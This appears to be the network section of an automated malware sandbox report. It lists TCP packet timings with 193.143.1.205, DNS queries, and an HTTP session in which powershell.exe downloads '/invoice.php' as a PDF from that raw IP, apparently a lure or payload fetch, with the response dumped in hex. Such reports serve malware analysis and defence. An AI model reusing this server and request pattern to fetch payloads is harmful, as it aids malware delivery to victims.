Jan 10, 2025 21:28:21.595532894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595540047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595550060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595618010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.595638037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.595638037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.595648050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595707893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.595714092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595736980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595750093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595762014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595774889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595784903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.595789909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595809937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.595833063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.618463039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618485928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618498087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618509054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618520021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618530989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618542910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618546009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.618554115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618578911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.618597031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.618624926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618635893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618653059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618664026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618674040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618679047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.618688107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.618691921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.618719101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.621144056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621160984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621180058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621192932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621212006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621222019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621228933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.621232986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621247053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.621256113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.621288061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.623135090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651423931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651690960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651709080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651729107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651740074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651751995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651762962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651772976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651784897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651791096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651797056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651808023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651818991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651824951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651829958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651839972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651840925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651854038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651865005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651875973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651886940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651896954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651897907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651910067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651911974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651933908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651943922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651954889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651977062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.651987076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.651987076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652002096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652012110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652014017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652024031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652034044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652046919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652051926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652082920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652127981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652208090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652220011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652230024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652245998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652251005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652275085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652282000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652292013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652301073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652312040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652323961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652326107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652338028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652354002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652368069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652596951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652607918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652618885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652631044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652642012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652642965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652654886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652667046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652676105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652686119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652688980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652698040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652708054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652710915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652723074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652734041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652739048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652745962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652755976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652765989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652776957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.652952909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.652998924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.653103113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653120041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653131008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653141022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653151035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653152943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.653162956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653172016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.653177977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653183937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653196096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.653197050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.653234005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.654644012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654665947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654678106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654687881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.654687881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654702902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654714108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654726028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654730082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.654742956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.654769897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654771090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.654782057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654793024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654804945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654814959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654825926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654827118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.654839039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.654845953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.654870987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.655536890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.676956892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.676971912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.676983118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.677004099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.677015066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.677021027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.677026987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.677037954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.677043915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.677052975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.677081108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684005976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684030056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684046984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684067965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684094906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684102058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684108019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684119940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684139013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684155941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684165955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684168100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684178114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684180975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684190035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684231043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684231043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684279919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684298992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684309959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684319973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.684339046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.684360981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.706958055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.706984997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.707003117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.707014084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.707025051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.707035065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.707045078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.707056999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.707076073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.707102060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.709566116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709616899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709625959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709644079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709656000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709656000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.709666967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709680080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.709681988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709692955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.709701061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.709737062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.757117033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757153988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757165909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757183075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757209063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757216930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757226944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757231951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757235050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757240057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757246017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757249117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757260084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.757302999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.757313013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.757323027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757334948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757345915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757385969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.757415056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757426023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757437944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757446051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.757458925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.757487059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.758131981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.758177996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:22.032171011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:22.506899118 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:22.511806965 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:22.511878967 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:22.512743950 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:22.517509937 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:24.091906071 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:24.093225002 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:24.093287945 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:24.093436003 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:24.093482018 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:24.301148891 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:24.301258087 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:27.152872086 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:28:35.536479950 CET	61260	53	192.168.2.4	1.1.1.1
Jan 10, 2025 21:28:51.927840948 CET	54540	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:28:35.536479950 CET	192.168.2.4	1.1.1.1	0x63c0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:28:51.927840948 CET	192.168.2.4	1.1.1.1	0x6dde	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:28:35.544198990 CET	1.1.1.1	192.168.2.4	0x63c0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:28:51.936563015 CET	1.1.1.1	192.168.2.4	0x6dde	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	5432	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:28:20.204277992 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:28:20.989645004 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:28:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:28:20.989679098 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:28:20.989695072 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:28:20.989710093 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
